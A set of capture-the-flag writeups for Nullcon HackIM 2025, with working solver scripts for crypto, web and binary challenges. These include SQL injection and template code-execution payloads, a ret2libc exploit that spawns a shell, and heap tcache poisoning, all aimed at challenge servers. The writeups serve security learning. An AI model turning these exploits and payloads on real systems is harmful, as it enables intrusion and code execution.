[TOC] # Nullcon Goa HackIM 2025 CTF Writeups ## CRYPTO ### kleinvieh We are given `strange = phi^2 = (pq - p - q + 1)^2 = (p + q - 1)^2 (mod n)`. As the difference between `(p + q - 1)^2` and `strange` is small multiples of `n`, we can bruteforce the difference to recover `(p + q - 1)^2` and square root, then calculate `phi` to recover the flag. ```python from math import isqrt from Crypto.Util.number import long_to_bytes n = 123478096241280364670962652250405187135677205589718111459493149962577739081187795982860395854714430939628907753414209475535232237859888263943995193440085650470423977781096613357495769010922395819095023507620908240797541546863744965624796522452543464875196533943396427785995290939050936636955447563027745679377 c = 77628487658893896220661847757290784292662262378387512724956478473883885554341297046249919230536341773341256727418777179462763043017367869438255024390966651705078565690271228162236626313519640870358976726577499711921457546321449494612008358074930154972571393221926233201707908214569445622263631145131680881658 strange = 11519395324733889428998199861620021305356608571856051121451410451257032517261285528888324473164306329355782680120640320262135517302025844260832350017955127625053351256653287330703220294568460211384842833586028123185201232184080106340230097212868897257794101622865852490355812546172336607114197297201223620901 for i in range(10): pq1_sq = strange + i * n pq1 = isqrt(pq1_sq) if pq1 ** 2 == pq1_sq: print(f'{i = }') phi = n - pq1 d = pow(65537, -1, phi) flag = pow(c, d, n) print(long_to_bytes(flag)) break ``` ### many caesars We can bruteforce shift of each word (separated by `_`, `,` and `.`) then choose the most meaningful words for each word. The corresponding shift of each word reveal part of the flag. ```python import string def caesar(msg, shift): return ''.join(chars[(chars.index(c) - shift) % len(chars)] for c in msg) chars = string.ascii_letters + string.digits + '+/=' ct = "AtvDxK lAopjz /i + vhw c6 uwnshnuqjx ymfy kymhi Kyv 47+3l/eh Bs kpfkxkfwcnu Als 9phdgj9 +ka ymzuBGxmFq 6fdglk8i CICDowC, sjxir bjme+pfwfkd 6li=fj=kp, nCplEtGtEJ, lyo qeb INKLNBM vm ademb7697. ollqba lq DitCmA xzhm fx ef7dd7ii, wIvv eggiww GB kphqtocvkqp, 3d6 MAx ilsplm /d rpfkd vnloov hc nruwtAj xDxyjrx vexliv KyrE +3hc Gurz, jcemgt ixlmgw 9f7gmj5/9k obpmlkpf/ib mzp 8k/=64c ECo sj qb=eklildv. =k loGznlEpD qzC qo+kpm+obk=v, vHEEtuHKtMBHG, huk h7if75j/d9 mofs+=v, zkloh lqAkwCzioqvo rfqnhntzx fhynAnynjx b/a7 JKvrCzEx hexe BE ecwukpi 63c397. MAxLx wypujpwslz 3/c ql irvwhu 9bbcj1h9cb fsi f tswmxmzi zDGrtK ed FBpvrGL vjtqwij ixlmgep 5f8 =lkpqor=qfsb tmowuzs." ct = ct.replace(' ', ']').replace(',', ']').replace('.', ']') ct = ct.split(']') ct = [x for x in ct if x != ''] for block in ct: for i in range(len(chars)): val = caesar(block, i) if any(x not in string.ascii_lowercase for x in val[1:]): continue if val[0] not in string.ascii_letters: continue print(val, chars[i]) print() # th3_d1ffer3nce5_m4ke_4ll_th3_diff3renc3 ``` ### next-level This is an RSA with n being the product of 3 consecutive primes. We can approximate the prime taking cube root of n, and recover all the primes close to it. ```python= from gmpy2 import iroot from Crypto.Util.number import * n = 842955733372614455917139215149786367998989408483882136463558684397050826784554405473281404986074268847665022114356876291445365131548244366599468837778869392604574977016160648076231535588793673536845344975989305317758463762079207183948812779114263906518115672167636134526515103825946273073248648502935673944006264386299102933514541941431848389105755893385245141801018951632390644713514409554482089598460289338073545880196262116013551058638687812839058426467147481 c = 178911853582925091074953906180040707693867299041184394859091151823053279374040732087994928027427055516599491017237986483811850621047816908739709787556523375563298051776181108938835938016314409519090707332840179868647993861754529706055629293586699860402875976104999357565613123187491160887851461728095157125430360026065237722011165355477193299183616800218141392989153891385907169749132280406008273086286095580797819646823785791242488773862940145882627972745288524 pp = iroot(n, 3)[0] primes = [] for i in range(-10000, 10000): p = pp + i if n % p == 0: primes.append(p) assert len(primes) == 3 p,q,r = primes phi = (p-1)*(q-1)*(r-1) e = 65537; d = pow(e, -1, phi) print(long_to_bytes(pow(c, d, n))) ``` ### registration We collect multiple messages and signatures, then find small linear combination of these messages via LLL to forge a signature. ```python= from sage.all import * from hashlib import sha256 from Crypto.Util.number import long_to_bytes, bytes_to_long from pwnlib.tubes.remote import remote from pwnlib.tubes.process import process io = remote('52.59.124.14', 5026) n = int(io.recvline().decode().strip().split()[-1]) a = int(io.recvline().decode().strip().split()[-1]) e = int(io.recvline().decode().strip().split()[-1]) msgs, sigs = [], [] for _ in range(80): print(f'{_ = }') io.sendlineafter(b'> ', b'1') msg = bytes.fromhex(io.recvline().decode().strip().split()[-1]) msg = bytes_to_long(sha256(msg).digest()) sig = int(io.recvline().decode().strip().split()[-1]) msgs.append(msg) sigs.append(sig) io.sendlineafter(b'> ', b'2') msg = bytes.fromhex(io.recvline().decode().strip().split()[-1]) msg = bytes_to_long(sha256(msg).digest()) L = block_matrix(ZZ, [ [identity_matrix(len(msgs)), column_matrix(msgs)], [0, msg] ]) for row in L.LLL(): if row[-1] != 0: continue v1 = vector(ZZ, row[:-1]) v2 = vector(ZZ, msgs) val = v1 * v2 if val not in [-msg, msg]: continue if val == -msg: row = [-int(x) for x in row] print(f'{row = }') target_sig = prod([pow(x, y, n) for x, y in zip(sigs, row[:-1])]) target_sig %= n print(pow(target_sig, e, n), pow(a, msg, n)) io.sendlineafter(b': ', str(target_sig).encode()) io.interactive() break ``` ### kleinvieh_2 This is a combination of 5 smaller RSA challenges. The vulnerability and solution for each part is: 1. `c1 = m1^3` is smaller than `n`, so we can recover `m1` by taking cube root of `c1`, 2. `c2 = (m2 * r)^3`, so we can recover `m2^3 = c2 * r^(-3)`, then take cube root to find `m2`, 3. `c3 = (m3 * 256^493)^3`, the same as problem 2, 4. `c4 = (m3 * r2)^3` where `r2 = 1 + 256^18 + 256^36 + ... + 256^486`, same as problem 2, 5. `c5 = (m0 * 256^17 + m5)^3` where `m0 = bytes_to_long(b'\x42' * 494)` and `m5` is only 17 bytes, so use Coppersmith to recover `m5`. ```python= from Crypto.PublicKey import RSA from Crypto.Util.number import bytes_to_long, long_to_bytes from sage.all import * def fr(x, n): return Integer(x).nth_root(n, truncate_mode=True)[0] with open('pubkey.pem', 'rb') as f: key = RSA.import_key(f.read()) n, e = key.n, key.e with open('output', 'r') as f: cts = list(map(int, f.read().splitlines())) c1, c2, c3, c4, c5 = cts m1 = long_to_bytes(fr(c1, 3)) print(m1) r = 688234005348009046360676388021599552323079007705479727954148955984833460337936950913921276804334830417982234720038650432729780498514155995618937412575604196815690605161835755609341381092145548153312943119696398326144902639226831471200542337105282064399184931676924592908530791494346900227871404063095592748764296028255530577278656680463782655139421219302422899667665339277824718421901831817043159552132252016945226370677278067424506514993298100924479619565269428391036310378044733517453768164252655931111202089432697078947184486267865943138659836155939343134738408972426979329158506027280653209318479413895259774319848662706808171929571545923310500352950348748809789292920278241362015278963315481777028997344480172010960294002098578989469089294022590134823913936869548907125294447477430739096767474026401347928008150737871869441842515706902681140123776591020038755234642184699856517326004574393922162918839396336541620212296870832659576195010466896701249003808553560895239860454162846759635434691728716499056221797005696650174933343585361153344017021747827389193405667073333443569659567562247406283282451284155149780737904760989910944550499316655128394899229284796584787198689342431338201610314893908441661953172106881929330452489260 r_cubed = pow(r, 3, n) inv_r_cubed = pow(r_cubed, -1, n) m2_cubed = (c2 * inv_r_cubed) % n m2 = long_to_bytes(fr(m2_cubed, 3)) print(m2) m3 = c3 * pow(256, -(511 - 18) * 3, n) % n m3 = long_to_bytes(fr(m3,3)) print(m3) step = 256 ** 18 t = step k = 1 for i in range(27): k += step step = step * t % n k %= n m4 = c4 * pow(k, -3, n) % n m4 = fr(m4, 3) m4 = long_to_bytes(m4) print(m4) P = PolynomialRing(Zmod(n), 'x') x = P.gen(0) f = (bytes_to_long(b'\x42' * 494) * 256 ** 17 + x) ** 3 - c5 m5 = long_to_bytes(int(f.small_roots(X = 256 ** 17, epsilon = 0.1)[0])) flag = m1 + m2 + m3 + m4 + m5 print(flag) ``` ### coinflip We can recover multiples of `m` by getting 3 consecutive states `s0, s1, s2` => `k * m = s0 ** 3 * s2 - s1 ** 4`. By constantly sending `head`, praying to get 4 consecutive states, we can firmly recover `m = gcd(s0 ** 3 * s2 - s1 ** 4, s1 ** 3 * s3 - s2 ** 4)`. Then `a = s1 * s0 ^ -3 (mod m)`. After that we can know the next state of RNG, bet all the money each time and get the flag. ```python= from pwnlib.tubes.remote import remote from math import gcd from Crypto.Util.number import bytes_to_long, getRandomNBitInteger import math import os class CRG(object): def __init__(self, n): self.n = n self.m = getRandomNBitInteger(n) while True: self.a = bytes_to_long(os.urandom(n >> 3)) % self.m # n/8 bytes if math.gcd(self.a, self.m) == 1: break while True: self.state = bytes_to_long(os.urandom(n >> 3)) % self.m # n/8 bytes if math.gcd(self.state, self.m) == 1: break self.buffer = [] def next(self): if self.buffer == []: self.buffer = [int(bit) for bit in bin(self.state)[2:].zfill(self.n)] self.state = self.a * pow(self.state, 3, self.m) % self.m return self.buffer.pop(0) while True: io = remote("52.59.124.14", 5032) bits = [] try: for _ in range(256): line = io.recvuntil(b')', timeout=1) balance = int(line.decode().strip().split()[-1][:-1]) if line == b'': break io.sendline(b'1') io.sendlineafter(b'?\n', b'head') if b'win' in io.recvline(): bits.append('0') else: bits.append('1') break except EOFError: print(f'{_ = }') io.close() continue s1 = int(''.join(bits[:64]), 2) s2 = int(''.join(bits[64:128]), 2) s3 = int(''.join(bits[128:192]), 2) s4 = int(''.join(bits[192:]), 2) m = gcd(s1 ** 3 * s3 - s2 ** 4, s2 ** 3 * s4- s3 ** 4) print(f'{balance = }') print(m.bit_length()) print(m) crg = CRG(64) crg.m = m crg.a = s2 * pow(s1, -3, m) % m crg.state = (crg.a * pow(s4, 3, m)) % m coin = [b'head',b'tails'] for _ in range(30 - int(math.log2(balance))): line = io.recvuntil(b')') balance = int(line.decode().strip().split()[-1][:-1]) print(f'{balance = }') io.sendline(str(balance).encode()) io.sendlineafter(b'?\n', coin[crg.next()]) io.recvline() io.interactive() ``` ### Matrixfun Data from pcap: ![image](https://hackmd.io/_uploads/rkqAclzKke.png) Then problem can be simplified as below. ```python= import numpy as np from numpy._typing import NDArray from gmpy2 import mpz from typing import Any def mpow(a: NDArray[Any], e: int, p: mpz): n = a.shape[0] c: NDArray[Any] = np.identity(n, dtype=object) // mpz(1) for i in range(e.bit_length(), -1, -1): c = (c @ c) % p if e & (1 << i): c = (c @ a) % p return c p = 15021738631187083129 G = [[8250369131483783446, 7636514724226618982, 13561904710751379340, 8146037206883500564], [4902910229653653467, 12309994425856150343, 6519431793637084561, 826765390730273580], [2293357986500986599, 3690712216774893256, 11221411595572149696, 6189443780743823928], [4526003812557694577, 7070010165244546540, 2773849016628162168, 2528664545234724542]] gorder = 48565318389923 A = [[7124857170442510436, 7098435244666432569, 5016319597248544408, 3368576660349080409], [12766102894582816521, 1075168896515869195, 14940230223165707555, 13504245377824841154], [11005568719346427939, 6351117183900723198, 10504073690105660358, 765373031704381609], [4023860825601216122, 3960044495923291791, 14945314474664374706, 7318239600236598642]] B = [[1282048969185546964, 12109372559076385336, 11131078763121815969, 8203066951109241796], [13898425777031025196, 3180683801097577414, 4159815335494956274, 12490188080505436469], [14804946988255087504, 14855384714399608402, 3036218738870877096, 2244875398266900486], [11575966103907984574, 12991978517385440219, 8781891936464379787, 3191347143541874873]] iv = bytes.fromhex('b90605c70dc5e0d4d2ab458c93ca3e2c') cipher = bytes.fromhex('d772586e1e1ff88b5fbdc2a2f742d6c8fc517acc1d76ce38052db1aa266850cd264232b7d90d283a1d237a6f97d6558f') ``` We have: $$ A = G^a \ \text{or} \ B = G^b$$ Where $G$ is a generator matrix and $A$ , $B$ are the public matrices. To decrypt the cipher text we need to find $a$. Its a discrete logarithm problem in $GL(n,p)$ which is a group of invertible $n\times n$ matrix over $GF(p)$. The order is 46 bits , so dlog easily found using baby step gaint step algorithm. a = 14694400667272 Now decrypt: ```python= Key = mpow(B, a, p) ``` Decrypt the AES with this shared key to get the flag. ### odd-bacon Key is hardcoded, so we can just use the C impelmentation of SpeckCipher and multithreading to brute force all 2^32 possibilities of k1 super fast and recover k2 along with it. ```c= #include "speck.h" #include <stdio.h> #include <pthread.h> #include <stdlib.h> #define NUM_THREADS 20 // Number of threads to use #define GOAL_AAAA 0x0edb0e75 // replace this after connecting to remote #define GOAL_BBBB 0x92746e5c // replace this after connecting to remote #define GOAL_CCCC 0xa0ad757a // replace this after connecting to remote #define AAAA_INT 0x41414141 #define BBBB_INT 0x42424242 #define CCCC_INT 0x43434343 static SimSpk_Cipher speck; uint8_t init_speck() { uint8_t IV[] = {0, 0, 0, 0}; uint8_t counter[] = {0, 0, 0, 0}; uint64_t u64_key = 0x0123456789abcdef; uint8_t *speck64_32_key = (uint8_t*)&u64_key; return Speck_Init(&speck, cfg_64_32, ECB, speck64_32_key, IV, counter); } void F(const uint8_t *block, uint8_t *out) { Speck_Encrypt(speck, block, out); } typedef struct { uint64_t start; uint64_t end; int thread_id; } ThreadData; void* thread_func(void* arg) { ThreadData* data = (ThreadData*)arg; uint8_t ciphertext_buffer[16]; for (uint64_t i = data->start; i < data->end; ++i) { uint8_t* buf = (uint8_t*)&i; F(buf, ciphertext_buffer); uint32_t expected_k1 = (uint32_t)i ^ AAAA_INT; uint32_t expected_k2 = *(uint32_t*)(&ciphertext_buffer) ^ GOAL_AAAA; uint32_t expected_bbbb_xor = BBBB_INT ^ expected_k1; buf = (uint8_t*)&expected_bbbb_xor; F(buf, ciphertext_buffer); uint32_t result_k2 = *(uint32_t*)(&ciphertext_buffer) ^ GOAL_BBBB; if (result_k2 != expected_k2) continue; uint32_t expected_cccc_xor = CCCC_INT ^ expected_k1; buf = (uint8_t*)&expected_cccc_xor; F(buf, ciphertext_buffer); result_k2 = *(uint32_t*)(&ciphertext_buffer) ^ GOAL_CCCC; if (result_k2 == expected_k2) { FILE* fp = fopen("FOUND.txt", "w"); fprintf(fp, "FOUND! k1=%#x k2=%#x\n", expected_k1, expected_k2); printf("FOUND! k1=%#x k2=%#x\n", expected_k1, expected_k2); fclose(fp); pthread_exit(NULL); } /*if (i % 0x100000 == 0) { printf("Thread %d at %#lx (%.2f%%)\n", data->thread_id, i, (i - data->start) * 100.0 / (data->end - data->start)); }*/ } printf("Thread %d done\n"); // fclose(fp); pthread_exit(NULL); } int main(void) { init_speck(); pthread_t threads[NUM_THREADS]; ThreadData thread_data[NUM_THREADS]; uint64_t range = UINT32_MAX / NUM_THREADS; for (int i = 0; i < NUM_THREADS; ++i) { thread_data[i].start = i * range; thread_data[i].end = (i + 1) * range; thread_data[i].thread_id = i; pthread_create(&threads[i], NULL, thread_func, (void*)&thread_data[i]); } for (int i = 0; i < NUM_THREADS; ++i) { pthread_join(threads[i], NULL); } return 0; } ``` ## WEB ### Bfail Bcrypt default only handles data up to 72 characters. Since the author give us 71 characters we just need to bruteforce 1 more character ```python= import bcrypt import urllib.parse ADMIN_PW_HASH = b'$2b$12$8bMrI6D9TMYXeMv8pq8RjemsZg.HekhkQUqLymBic/cRhiKRa3YPK' a = b'\xec\x9f\xe0a\x978\xfc\xb6:T\xe2\xa0\xc9<\x9e\x1a\xa5\xfao\xb2\x15\x86\xe5$\x86Z\x1a\xd4\xca#\x15\xd2x\xa0\x0e0\xca\xbc\x89T\xc5V6\xf1\xa4\xa8S\x8a%I\xd8gI\x15\xe9\xe7$M\x15\xdc@\xa9\xa1@\x9c\xeee\xe0\xe0\xf76' for i in range(0, 256): password = a + bytes([i]) if bcrypt.checkpw(password, ADMIN_PW_HASH): print(urllib.parse.quote(password)) break #ENO{BCRYPT_FAILS_TO_B_COOL_IF_THE_PW_IS_TOO_LONG} ``` ### Crahp The challenge wants a password such that: - `password != "AdM1nP@assW0rd!"` - `crc16(password) == crc16("AdM1nP@assW0rd!")` - `crc8(password) == crc8("AdM1nP@assW0rd!")` Simply bruteforces the password using `os.urandom(len("AdM1nP@assW0rd!"))`: ```py import os, requests def crc16(string): crc = 0xFFFF for char in string: crc = crc ^ char for _ in range(8): if (crc & 0x0001) == 0x0001: crc = ((crc >> 1) ^ 0xA001) else: crc = crc >> 1 return crc def crc8(input_data): crc8_table = [ 0x00, 0x07, 0x0E, 0x09, 0x1C, 0x1B, 0x12, 0x15, 0x38, 0x3F, 0x36, 0x31, 0x24, 0x23, 0x2A, 0x2D, 0x70, 0x77, 0x7E, 0x79, 0x6C, 0x6B, 0x62, 0x65, 0x48, 0x4F, 0x46, 0x41, 0x54, 0x53, 0x5A, 0x5D, 0xE0, 0xE7, 0xEE, 0xE9, 0xFC, 0xFB, 0xF2, 0xF5, 0xD8, 0xDF, 0xD6, 0xD1, 0xC4, 0xC3, 0xCA, 0xCD, 0x90, 0x97, 0x9E, 0x99, 0x8C, 0x8B, 0x82, 0x85, 0xA8, 0xAF, 0xA6, 0xA1, 0xB4, 0xB3, 0xBA, 0xBD, 0xC7, 0xC0, 0xC9, 0xCE, 0xDB, 0xDC, 0xD5, 0xD2, 0xFF, 0xF8, 0xF1, 0xF6, 0xE3, 0xE4, 0xED, 0xEA, 0xB7, 0xB0, 0xB9, 0xBE, 0xAB, 0xAC, 0xA5, 0xA2, 0x8F, 0x88, 0x81, 0x86, 0x93, 0x94, 0x9D, 0x9A, 0x27, 0x20, 0x29, 0x2E, 0x3B, 0x3C, 0x35, 0x32, 0x1F, 0x18, 0x11, 0x16, 0x03, 0x04, 0x0D, 0x0A, 0x57, 0x50, 0x59, 0x5E, 0x4B, 0x4C, 0x45, 0x42, 0x6F, 0x68, 0x61, 0x66, 0x73, 0x74, 0x7D, 0x7A, 0x89, 0x8E, 0x87, 0x80, 0x95, 0x92, 0x9B, 0x9C, 0xB1, 0xB6, 0xBF, 0xB8, 0xAD, 0xAA, 0xA3, 0xA4, 0xF9, 0xFE, 0xF7, 0xF0, 0xE5, 0xE2, 0xEB, 0xEC, 0xC1, 0xC6, 0xCF, 0xC8, 0xDD, 0xDA, 0xD3, 0xD4, 0x69, 0x6E, 0x67, 0x60, 0x75, 0x72, 0x7B, 0x7C, 0x51, 0x56, 0x5F, 0x58, 0x4D, 0x4A, 0x43, 0x44, 0x19, 0x1E, 0x17, 0x10, 0x05, 0x02, 0x0B, 0x0C, 0x21, 0x26, 0x2F, 0x28, 0x3D, 0x3A, 0x33, 0x34, 0x4E, 0x49, 0x40, 0x47, 0x52, 0x55, 0x5C, 0x5B, 0x76, 0x71, 0x78, 0x7F, 0x6A, 0x6D, 0x64, 0x63, 0x3E, 0x39, 0x30, 0x37, 0x22, 0x25, 0x2C, 0x2B, 0x06, 0x01, 0x08, 0x0F, 0x1A, 0x1D, 0x14, 0x13, 0xAE, 0xA9, 0xA0, 0xA7, 0xB2, 0xB5, 0xBC, 0xBB, 0x96, 0x91, 0x98, 0x9F, 0x8A, 0x8D, 0x84, 0x83, 0xDE, 0xD9, 0xD0, 0xD7, 0xC2, 0xC5, 0xCC, 0xCB, 0xE6, 0xE1, 0xE8, 0xEF, 0xFA, 0xFD, 0xF4, 0xF3 ] byte_array = input_data crc = 0 for byte in byte_array: crc = crc8_table[(crc ^ byte) & 0xff] return crc & 0xff admin_pass = b"AdM1nP@assW0rd!" l = len(admin_pass) target1 = crc16(admin_pass) target2 = crc8(admin_pass) while True: password = os.urandom(l) if crc16(password) == target1 and crc8(password) == target2: print(password) print(requests.post("http://52.59.124.14:5006/", data={"password": password}).text) break ``` ![image](https://hackmd.io/_uploads/Hy23sMGYJx.png) Flag: `ENO{Cr4hP_CRC_Collison_1N_P@ssw0rds!}` ### Numberizer Since there's a 4 letters limit for each number ![image](https://hackmd.io/_uploads/HJnHDGzFke.png) Enter 1e19 so that it gets overflow to `9223372036854775807 (2 ^ 63 - 1)` Add 1 and it becomes `2 ^ 63` thus flipping the sign bit and we get a negative number `-9223372036854775808` Submit `[1e19, 1]` and win a flag: ![image](https://hackmd.io/_uploads/SJUSOzftkx.png) Flag: `ENO{INTVAL_IS_NOT_ALW4S_P0S1TiV3!}` ### Sess.io There are only 10 patterns that can be used as a seed for `mt_srand`. Use the following code to get all the values for session ID. ```python= import hashlib import string import requests URL = "http://52.59.124.14:5008/" s = requests.session() d = {} for c in string.ascii_letters: hash = hashlib.md5(f'y{c}'.encode()).hexdigest() if hash[0] not in '6' or hash[0] in d: continue data = { "username": "y", "password": c } r = s.post(URL, data=data) print(r.status_code) d[hash[0]]=s.cookies['PHPSESSID'] print(d) ``` Then, brute all 4 letters to find the content. ```php= <?php define("ALPHA", str_split("abcdefghijklmnopqrstuvwxyz0123456789_-")); $target = 'a-jtqk69cb'; $alphas = "_ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz!\"#$%&\'()*+,-./:;<=>?@[\\]^`{|}~"; $chars = str_split($alphas); $len = count($chars); for ($i = 0; $i < $len; $i++) { echo $chars[$i]. "\n"; for ($j = 0; $j < $len; $j++) { for ($k = 0; $k < $len; $k++) { for ($l = 0; $l < $len; $l++) { $x = $chars[$i] . $chars[$j] . $chars[$k] . $chars[$l]; mt_srand(intval(bin2hex($x),16)); $id = ""; for($m=0;$m<10;$m++) { $id .= ALPHA[mt_rand(0,count(ALPHA)-1)]; } if ($id == $target) { echo $x. "\n"; echo $target . "\n"; break; } } } } } # ENO{SOME_SUPER_SECURE_FLAG_1333337_H ``` ### Temptation Since the server use web.py lib and that lib has a option that execute code we can use this to manipulate the data return when the template is rendered ```python= import web import urllib.parse temptation = """ $code: return "F"+"LAG" """ print(urllib.parse.quote(temptation)) try: temptation = web.template.Template(f"Your temptation is: {temptation}")() print(temptation) except Exception as e: print(e) #ENO{T3M_Pl4T_3S_4r3_S3cUre!!} ``` ### Paginator SQL injection in $max and $min variables simply set min=2-1 and max=10 The payload would be like this `p=2-1,10` `Flag: ENO{SQL1_W1th_0uT_C0mm4_W0rks_SomeHow!}` ### Paginator v2 Use blind SQL injection to determine the table name, table schema. Then, becuase there are only 2 fields in `flag` table, use `UNION SELECT * FROM flag` to get the flag. ```python= import requests import string URL = "http://52.59.124.14:5015/" s = requests.session() def query(q: str,s): print(q) x = f"2 AND {q}" r = s.get(URL, params={ "p": "2," + x }) return "Page 2" in r.text # known = "" # while True: # for c in string.printable: # # cur = (known + c).replace("_", "\\_").replace("%", "\\%") # cur = (known + c) # if query(f"(SELECT count(*) FROM sqlite_master WHERE tbl_name ='flag' AND sql LIKE '{cur}%')>0", s): # print(cur) # known = known + c # break r = s.get(URL, params={ "p": "2,2 UNION SELECT * FROM flag" }) print(r.text) ``` ### ZONEy ```text dig @ec2-52-59-124-14.eu-central-1.compute.amazonaws.com -p 5007 ZONEy.eno MX ; <<>> DiG 9.20.4-3-Debian <<>> @ec2-52-59-124-14.eu-central-1.compute.amazonaws.com -p 5007 ZONEy.eno MX ; (1 server found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2161 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 4 ;; WARNING: recursion requested but not available ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;ZONEy.eno. IN MX ;; ANSWER SECTION: ZONEy.eno. 7200 IN MX 10 challenge.ZONEy.eno. ;; AUTHORITY SECTION: ZONEy.eno. 7200 IN NS ns1.ZONEy.eno. ZONEy.eno. 7200 IN NS ns2.ZONEy.eno. ;; ADDITIONAL SECTION: challenge.ZONEy.eno. 7200 IN A 127.0.0.1 ns1.ZONEy.eno. 7200 IN A 127.0.0.1 ns2.ZONEy.eno. 7200 IN A 127.0.0.1 ;; Query time: 170 msec ;; SERVER: 52.59.124.14#5007(ec2-52-59-124-14.eu-central-1.compute.amazonaws.com) (UDP) ;; WHEN: Sat Feb 01 18:52:45 IST 2025 ;; MSG SIZE rcvd: 148 ``` ``` dig @ec2-52-59-124-14.eu-central-1.compute.amazonaws.com -p 5007 challenge.ZONEy.eno NSEC ; <<>> DiG 9.20.4-3-Debian <<>> @ec2-52-59-124-14.eu-central-1.compute.amazonaws.com -p 5007 challenge.ZONEy.eno NSEC ; (1 server found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 31579 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3 ;; WARNING: recursion requested but not available ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;challenge.ZONEy.eno. IN NSEC ;; ANSWER SECTION: challenge.ZONEy.eno. 86400 IN NSEC hereisthe1337flag.zoney.eno. A RRSIG NSEC ;; AUTHORITY SECTION: ZONEy.eno. 7200 IN NS ns1.ZONEy.eno. ZONEy.eno. 7200 IN NS ns2.ZONEy.eno. ;; ADDITIONAL SECTION: ns1.ZONEy.eno. 7200 IN A 127.0.0.1 ns2.ZONEy.eno. 7200 IN A 127.0.0.1 ;; Query time: 170 msec ;; SERVER: 52.59.124.14#5007(ec2-52-59-124-14.eu-central-1.compute.amazonaws.com) (UDP) ;; WHEN: Sat Feb 01 19:18:00 IST 2025 ;; MSG SIZE rcvd: 165 ``` ``` dig @ec2-52-59-124-14.eu-central-1.compute.amazonaws.com -p 5007 hereisthe1337flag.zoney.eno txt ; <<>> DiG 9.20.4-3-Debian <<>> @ec2-52-59-124-14.eu-central-1.compute.amazonaws.com -p 5007 hereisthe1337flag.zoney.eno txt ; (1 server found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18707 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3 ;; WARNING: recursion requested but not available ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;hereisthe1337flag.zoney.eno. IN TXT ;; ANSWER SECTION: hereisthe1337flag.zoney.eno. 7200 IN TXT "ENO{1337_Fl4G_NSeC_W4LK3R}" ;; AUTHORITY SECTION: zoney.eno. 7200 IN NS ns1.zoney.eno. zoney.eno. 7200 IN NS ns2.zoney.eno. ;; ADDITIONAL SECTION: ns1.zoney.eno. 7200 IN A 127.0.0.1 ns2.zoney.eno. 7200 IN A 127.0.0.1 ;; Query time: 170 msec ;; SERVER: 52.59.124.14#5007(ec2-52-59-124-14.eu-central-1.compute.amazonaws.com) (UDP) ;; WHEN: Sat Feb 01 19:20:07 IST 2025 ;; MSG SIZE rcvd: 163 ``` ## PWN ### hateful simple ret2libc overflow. first there is a formatstring bug which i used to leak `got.printf` then used the subsiquent bufferoverflow to `system("/bin/sh")` ```py #!/bin/python3 from pwn import * context.arch = 'amd64' elf = ELF("./hateful_patched") rop = ROP(elf) # gadgets # payload pld = b"%7$sABCD"+ pack(elf.symbols['got.printf']) p = process("./hateful_patched") p.sendlineafter(b"nay)\n", b"yay") p.sendlineafter(b">> ", pld) p.recvuntil(b"email provided: ") data = p.recvuntil(b"ABCD")[:-4] printf_leak = u64(data.ljust(8, b'\x00')) log.info(f"printf leak: {hex(printf_leak)}") # libc leak libc = ELF("./libc.so.6") libc.address = printf_leak - libc.symbols['printf'] log.info(f"libc leak: {hex(libc.address)}") # 0x0000000000086570: pop rdi; ret; # 0x0000000000026e99: ret; chain = [ libc.address + 0x0000000000086570, # pop rdi; ret;, libc.search(b"/bin/sh").__next__(), # arg1 libc.address + 0x0000000000026e99, # ret; # align stack libc.symbols['system'] # ret2libc ] pld = b"A"*0x3f0 + b"B"*8 + b"".join([pack(x) for x in chain]) p.sendlineafter(b"!\n", pld) # system leak p.interactive() ``` ### hateful2 there was a stack leak provided for us for free in the challenge it was probabily not needed and i think i ended up taking the longer route due to this. so we have a use after bug that allows us to read and write to heap chunks even after they are free. 1. get a libc leak by freeing a large chunk 2. setup a double free to inject a fake chunk inside the tcache 3. the fake chunk is on stack that allowed us to overwrite stack data 4. `system("/bin/sh")` ```py solver.start() menu(0) pr("up to ") line = pr().decode("latin") stack = int(line.split(" ")[0]) solver.stack_leak = stack large_chunk = malloc(0x800) guard = malloc(0x28) free(large_chunk) libc_leak = read(large_chunk) large_chunk = malloc(0x800) libc_leak = solver.dpaddr(libc_leak, 0, True) - 0x240 solver.libc.init_base(libc_leak, "_IO_2_1_stdin_") c1 = malloc(0x108) c2 = malloc(0x108) c3 = malloc(0x108) free(c1) free(c2) data = read(c1).decode("latin") heap_key = solver.dpaddr(data, 0, True) heap_leak = heap_key * 0x1000 print(hex(heap_leak)) stack = solver.stack_leak stack += -4 + 0x10 edit(c2, pack(stack ^ (heap_key))) c2_2 = malloc(0x108) print(hex(stack)) chain = [ pack(libc.gadgets("pop rdi;ret")), pack(libc.binsh), pack(libc.gadgets("ret",200)), libc.symP("system") ] pld = b"AAAAAAAA" + b"".join(chain) # input() stack_leak = malloc(0x108, pld, raw=True) ``` ![image](https://hackmd.io/_uploads/HJ4h5IMK1e.png) ### Mr Unlucky This is an ELF requiring guessing the correct hero out of 20 heros for 50 times. Since it uses the c random with current time as the seed, we can set the seed and predict the exact random number generated and thus the hero. ```python= from pwn import * import time from ctypes import CDLL from ctypes.util import find_library libc = CDLL(find_library("c")) # Set up pwntools for the correct architecture exe = './mr_unlucky' # This will automatically get context arch, bits, os etc elf = context.binary = ELF(exe, checksec=False) # Change logging level to help with debugging (error/warning/info/debug) context.log_level = 'debug' context.terminal = "cmd.exe /c start wsl".split() heroes = [ "Anti-Mage", "Axe", "Bane", "Bloodseeker", "Crystal Maiden", "Drow Ranger", "Earthshaker", "Juggernaut", "Mirana", "Morphling", "Phantom Assassin", "Pudge", "Shadow Fiend", "Sniper", "Storm Spirit", "Sven", "Tiny", "Vengeful Spirit", "Windranger", "Zeus", ] io = remote('52.59.124.14', 